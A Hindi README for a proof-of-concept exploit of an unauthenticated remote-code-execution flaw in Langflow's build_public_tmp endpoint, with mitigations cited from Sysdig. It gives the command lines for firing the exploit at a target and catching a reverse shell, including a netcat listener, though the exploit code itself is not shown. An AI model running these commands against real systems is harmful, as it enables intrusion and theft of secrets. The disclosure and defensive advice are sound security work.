CVE-2026-33017 Langflow ("Langflop") बिना प्रमाणीकरण वाला RCE PoC

Langflow में बिना प्रमाणीकरण वाली build_public_tmp कोड-निष्पादन खामी के लिए PoC। यह एक दुर्भावनापूर्ण घटक को सार्वजनिक flow पर अपलोड करता है, build ट्रिगर करता है, और reverse shell पकड़ता है।

केवल अधिकृत सुरक्षा परीक्षण के लिए। केवल उन्हीं सिस्टमों पर उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है।

आवश्यकताएँ

• Python 3
• requests (pip install requests)

उपयोग

अंतर्निहित listener चलाएँ और exploit को एक ही बार में दागें:

python3 poc.py \
  --url https://target:7860 \
  --flow-id <public-flow-uuid> \
  --lhost <your-ip> \
  --lport 4444 \
  --listen

जब shell कनेक्ट होता है, तो यह स्वचालित रूप से पूर्ण इंटरैक्टिव shell में अपग्रेड करने का प्रयास करता है।

यदि आप अपना खुद का listener उपयोग करना चाहें (जैसे nc -lvnp 4444), तो --listen हटा दें:

python3 poc.py --url https://target:7860 --flow-id <uuid> --lhost <your-ip> --lport 4444

विकल्प

फ़्लैग	विवरण
--url	लक्ष्य Langflow सर्वर URL (आवश्यक)
--flow-id	साझा सार्वजनिक flow का UUID (आवश्यक)
--lhost	Reverse shell कॉलबैक IP (आवश्यक)
--lport	Reverse shell कॉलबैक पोर्ट (आवश्यक)
--listen	अंतर्निहित listener चलाएँ
--timeout	HTTP अनुरोध टाइमआउट सेकंड में (डिफ़ॉल्ट 30)
-k, --insecure	TLS प्रमाणपत्र सत्यापन अक्षम करें (self-signed / समाप्त हो चुके प्रमाणपत्र)
--no-upgrade	स्वचालित TTY अपग्रेड छोड़ें, बुनियादी लाइन shell का उपयोग करें

जानकारी

CVE-2026-33017, Langflow के POST /api/v1/build_public_tmp/{flow_id}/flow endpoint में एक बिना प्रमाणीकरण वाला RCE है, जो बिना sandboxing के flow node परिभाषाओं से हमलावर द्वारा आपूर्ति किया गया Python निष्पादित करता है। अधिक जानने के लिए नीचे दिए गए संसाधन देखें:

• Sysdig Threat Research लेख: CVE-2026-33017: हमलावरों ने 20 घंटों में Langflow AI पाइपलाइनों से कैसे समझौता किया
• NVD: CVE-2026-33017

अनुशंसाएँ (रक्षक)

Sysdig Threat Research लेख से शमन उपाय:

• अपडेट करें Langflow को तुरंत। यदि पैच किया गया संस्करण अभी उपलब्ध नहीं है, तो /api/v1/build_public_tmp endpoint तक नेटवर्क पहुँच प्रतिबंधित करें या सार्वजनिक flow निर्माण पूरी तरह अक्षम कर दें।
• ऑडिट करें किसी भी सार्वजनिक रूप से एक्सपोज़्ड Langflow इंस्टेंस पर environment variables और secrets। एहतियात के तौर पर API कुंजियाँ, डेटाबेस पासवर्ड और क्लाउड क्रेडेंशियल्स रोटेट करें।
• निगरानी करें असामान्य पोर्ट्स या ज्ञात कॉलबैक सेवाओं (oastify.com, interact.sh, dnslog.cn) के लिए आउटबाउंड कनेक्शनों की, जो सक्रिय शोषण और डेटा बहिर्गमन का संकेत देते हैं।
• प्रतिबंधित करें Langflow इंस्टेंसों तक नेटवर्क पहुँच को फ़ायरवॉल नियमों या प्रमाणीकरण वाले reverse proxy का उपयोग करके। !!प्रमाणीकरण परत के बिना Langflow को सीधे इंटरनेट पर एक्सपोज़ नहीं किया जाना चाहिए!!
• सूचीबद्ध करें अपने environment में AI/ML टूलिंग की। Langflow, n8n और अन्य workflow ऑटोमेशन टूल जैसे प्लेटफ़ॉर्म तेजी से निशाना बनाए जा रहे हैं क्योंकि वे अक्सर व्यापक API पहुँच के साथ चलते हैं और मानक सुरक्षा समीक्षा प्रक्रियाओं के बाहर तैनात किए जाते हैं।

अस्वीकरण

यह टूल शोध और अधिकृत पैठ परीक्षण के लिए प्रदान किया गया है। लेखक दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है।